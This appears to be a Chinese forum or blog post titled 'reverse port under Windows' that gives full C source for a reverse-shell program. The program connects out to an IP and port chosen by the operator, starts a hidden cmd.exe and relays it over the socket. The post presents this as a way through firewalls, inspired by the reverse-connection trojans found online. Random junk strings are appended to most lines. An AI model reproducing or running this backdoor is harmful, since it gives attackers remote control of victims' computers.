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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )9->]U@  
(*]Y<ve  
/* ============================== hn .fX:}  
Rebound port in Windows NT mqw.v$>  
By wind,2006/7 aQ. \!&U  
===============================*/ ha 5\T'  
#include _,Y79 b6  
#include bcNYoZ8`  
P&;I]2#  
#pragma comment(lib,"wsock32.lib") D bJ(N h  
35T7g65;  
void OutputShell(); 7h~M&\M  
SOCKET sClient; us+adS.l&  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; X}Fv*  
Y$^QH.h  
void main(int argc,char **argv) q?\D9aT9  
{ \266N;JrN  
WSADATA stWsaData; #>'0C6Xn  
int nRet; j!dklQh0  
SOCKADDR_IN stSaiClient,stSaiServer; \ZH=$c*W  
8%Lg)hvl  
if(argc != 3) 7Cjrh"al"  
{ J)]W[Nk  
printf("Useage:\n\rRebound DestIP DestPort\n"); fM{Vy])J  
return; ?K"]XXsI  
} jF8ld5|_|  
_De;SB %V  
WSAStartup(MAKEWORD(2,2),&stWsaData); hZy*E[i  
= '[@UVH(Z  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5KzU&!Zh9  
k,,}N 9  
stSaiClient.sin_family = AF_INET; 3*<W`yed  
stSaiClient.sin_port = htons(0); |zE7W  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Pmb`05\  
S"l&=J2dc  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9Wn0YIc  
{  VM`."un]  
printf("Bind Socket Failed!\n"); ,D1QJPM  
return; ]g :ZokU  
} uwJkqlUOz  
s~CA @  
stSaiServer.sin_family = AF_INET; 3L|k3 `I4  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wSDDejg  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); E J1:N*BA  
zFI bCv8  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qI}Zg)q]  
{ nYY U  
printf("Connect Error!"); j#,O,\  
return; _"=~aMXC.)  
} e_SlM=_ u  
OutputShell(); _+i-)  
} l_WY];a  
jBM>Pe^`3  
void OutputShell() $8)/4P?OL  
{ O{PRK5^h  
char szBuff[1024]; }V{, kK  
SECURITY_ATTRIBUTES stSecurityAttributes; iVRz  
OSVERSIONINFO stOsversionInfo; 'J}lnt[V  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9 +6"<r!  
STARTUPINFO stStartupInfo; H;8(y4;  
char *szShell; Qk= w ,`  
PROCESS_INFORMATION stProcessInformation; W+vm!7wX0  
unsigned long lBytesRead; iBQftq7  
O1A*-G:X  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); i~4Kek6,I  
S1."2AxO  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); s*;~CH-[  
stSecurityAttributes.lpSecurityDescriptor = 0; UOyP6ej  
stSecurityAttributes.bInheritHandle = TRUE; HhO$`YZ%>  
8wOr`ho B  
]?2AFkF  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,=FYf|Z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %2.T1X%!  
H={,zZ11{  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); r?$\`,;  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &nq[Vy0kO4  
stStartupInfo.wShowWindow = SW_HIDE; +x1sV*S  
stStartupInfo.hStdInput = hReadPipe; kDrGl{U}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]TQjk{X<  
LxbVRw  
GetVersionEx(&stOsversionInfo); F]&9Lp} "  
_+U`afV  
switch(stOsversionInfo.dwPlatformId) |R4](  
{ x/ez=yd*l  
case 1: *\> &  
szShell = "command.com"; +{s^"M2`  
break; (L\tp> E-  
default: D4G{= Y}G  
szShell = "cmd.exe"; W\Gg!XsLk  
break; -`( :L[  
} eWFlJ;=  
Rj8l]m6U9  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \%K6T)9  
9X-DR  
send(sClient,szMsg,77,0); =LC5o2bLy  
while(1) = #`FXO1C  
{ :c\NBKHv*  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ',.Xn`c  
if(lBytesRead) `bi5#xR  
{ .]" o-(gB  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )}EwEM  
send(sClient,szBuff,lBytesRead,0); `hbM 2cM  
} N7[~Y2i  
else QRRZMdEGs[  
{ up`6IWlLE  
lBytesRead=recv(sClient,szBuff,1024,0); _*+M'3&=  
if(lBytesRead<=0) break; yO !*pC  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vO\CPb %/  
} FIuKX"XR  
} uJ%ql5XDV  
=Ij;I~  
return; :%0Z  
}
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